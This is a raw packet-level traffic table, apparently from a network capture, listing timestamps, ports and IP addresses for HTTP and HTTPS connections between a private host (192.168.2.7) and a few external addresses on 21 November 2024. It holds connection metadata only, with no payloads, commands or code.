Nov 21, 2024 22:04:59.757189035 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.757286072 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.758080006 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.758127928 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.758220911 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.758271933 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.758961916 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.758975029 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.759030104 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.759746075 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.759788990 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.760060072 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.760618925 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.760675907 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.760713100 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.760767937 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.761516094 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.761581898 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.761583090 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.761646032 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.762378931 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.762432098 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.762583971 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.762635946 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.763266087 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.763341904 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.763423920 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.763508081 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.764143944 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.764292955 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.764326096 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.764380932 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.765019894 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.765172958 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.765211105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.765230894 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.765928984 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.765976906 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.765994072 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.766073942 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.766788960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.766834974 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.766947031 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.766994953 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.767685890 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.767699957 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.767765999 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.768570900 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.768584967 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.768625021 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.769531012 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.769581079 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.769587040 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.769746065 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.770397902 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.770411015 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.770452976 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.771272898 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.771286011 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.771330118 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.772131920 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.772149086 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.772181034 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.772193909 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.773019075 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.773031950 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.773070097 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.773082972 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.773889065 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.773958921 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.774074078 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.774791002 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.774806023 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.774859905 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.775643110 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.775718927 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.775722980 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.775980949 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.776527882 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.776595116 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.776648998 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.776693106 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.777415037 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.777461052 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.777633905 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.777688026 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.778352976 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.778366089 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.778497934 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.779166937 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.779395103 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.779450893 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.780062914 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.780270100 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.780303001 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.780476093 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.780930042 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.780980110 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.781023979 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.781081915 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.781811953 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.781869888 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.782577991 CET	443	49901	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:59.782725096 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.782737017 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.782749891 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.782792091 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.782814026 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.783230066 CET	49901	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:59.783241034 CET	443	49901	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:59.783612013 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.783927917 CET	49901	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:59.783940077 CET	443	49901	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:59.783942938 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.783961058 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.783987045 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.784459114 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.784521103 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.784656048 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.784703970 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.791435003 CET	49904	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.795327902 CET	443	49902	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.829767942 CET	443	49903	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.830120087 CET	49903	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.830130100 CET	443	49903	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.830997944 CET	443	49903	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.831069946 CET	49903	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.831588030 CET	49903	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.831638098 CET	443	49903	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.831759930 CET	49903	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.852709055 CET	443	49905	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.853230000 CET	49905	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.853296041 CET	443	49905	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.854347944 CET	443	49905	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.854434967 CET	49905	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.854868889 CET	49905	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.854943991 CET	443	49905	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.855103970 CET	49905	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.875153065 CET	49903	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.875173092 CET	443	49903	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.885703087 CET	443	49906	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.886159897 CET	49906	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.886168957 CET	443	49906	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.887167931 CET	443	49906	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.887237072 CET	49906	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.887902975 CET	49906	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.887959003 CET	443	49906	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.888130903 CET	49906	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.888135910 CET	443	49906	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.895370960 CET	443	49905	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.902587891 CET	49905	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.902658939 CET	443	49905	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:59.919495106 CET	49903	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.930753946 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.930824041 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.931066990 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.931190968 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.931241989 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.932013035 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.932090998 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.932102919 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.932157040 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.932193041 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.932955027 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.933033943 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.933232069 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.933330059 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.933413982 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.933464050 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.934124947 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.934187889 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.934294939 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.934339046 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.934783936 CET	49906	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.935007095 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.935060024 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.935117960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.935841084 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.935892105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.935965061 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.936764002 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.936815023 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.936959982 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.937657118 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.937701941 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.937787056 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.937864065 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.938546896 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.938719034 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.938776016 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.939399958 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.939610958 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.939915895 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.940217972 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.940288067 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.940330029 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.940331936 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.940416098 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.941164017 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.941215038 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.941272020 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.942131996 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.942238092 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.942629099 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.942981005 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.943170071 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.943187952 CET	443	49907	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:59.943222046 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.943275928 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.943775892 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.943854094 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.943871975 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.943986893 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.944942951 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.944956064 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.944955111 CET	49907	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:59.945005894 CET	443	49907	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:59.945036888 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.945601940 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.945653915 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.945729017 CET	49907	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:59.945733070 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.945759058 CET	443	49907	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:59.945816040 CET	49907	443	192.168.2.7	20.190.177.23
Nov 21, 2024 22:04:59.945816040 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.945836067 CET	443	49907	20.190.177.23	192.168.2.7
Nov 21, 2024 22:04:59.946535110 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.946548939 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.946592093 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.947391033 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.947438002 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.947551012 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.947594881 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.948271990 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.948389053 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.948435068 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.948479891 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.949170113 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.949414968 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.949466944 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.950012922 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.950066090 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.950112104 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.950169086 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.950934887 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.951011896 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.951289892 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.951440096 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.951769114 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.951899052 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.951940060 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.951987028 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.952680111 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.952733040 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.952862024 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.952928066 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.953553915 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.953610897 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.953665018 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.954246998 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.954487085 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.954540014 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.954830885 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.954888105 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.955185890 CET	49905	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:59.955333948 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.955473900 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.955737114 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.956197023 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.956351995 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.956377029 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.956414938 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.957079887 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.957124949 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.957485914 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.957571983 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.957988024 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.958216906 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.958242893 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.958276033 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.958865881 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.958904982 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.958954096 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.959001064 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.959738970 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.959789038 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.959944963 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.960186005 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.960627079 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.960673094 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.960841894 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.960886002 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.961504936 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.961570978 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.961613894 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.961647034 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.962374926 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.962485075 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.962488890 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.962527990 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.963287115 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.963336945 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.963547945 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.963953972 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.964143991 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.964191914 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.964343071 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.964382887 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.965071917 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.965112925 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.965248108 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.965473890 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.965924978 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.966145992 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.966193914 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.966867924 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.966913939 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.967252016 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.967775106 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.967828035 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.967863083 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.967974901 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.968605995 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.968656063 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.968755960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.968823910 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.969487906 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.969558001 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.969592094 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.969630957 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.970323086 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.970411062 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.970462084 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.971220970 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.971340895 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.971409082 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.971409082 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.972141981 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:59.972191095 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:59.972230911 CET	80	49819	185.215.113.206	192.168.2.7
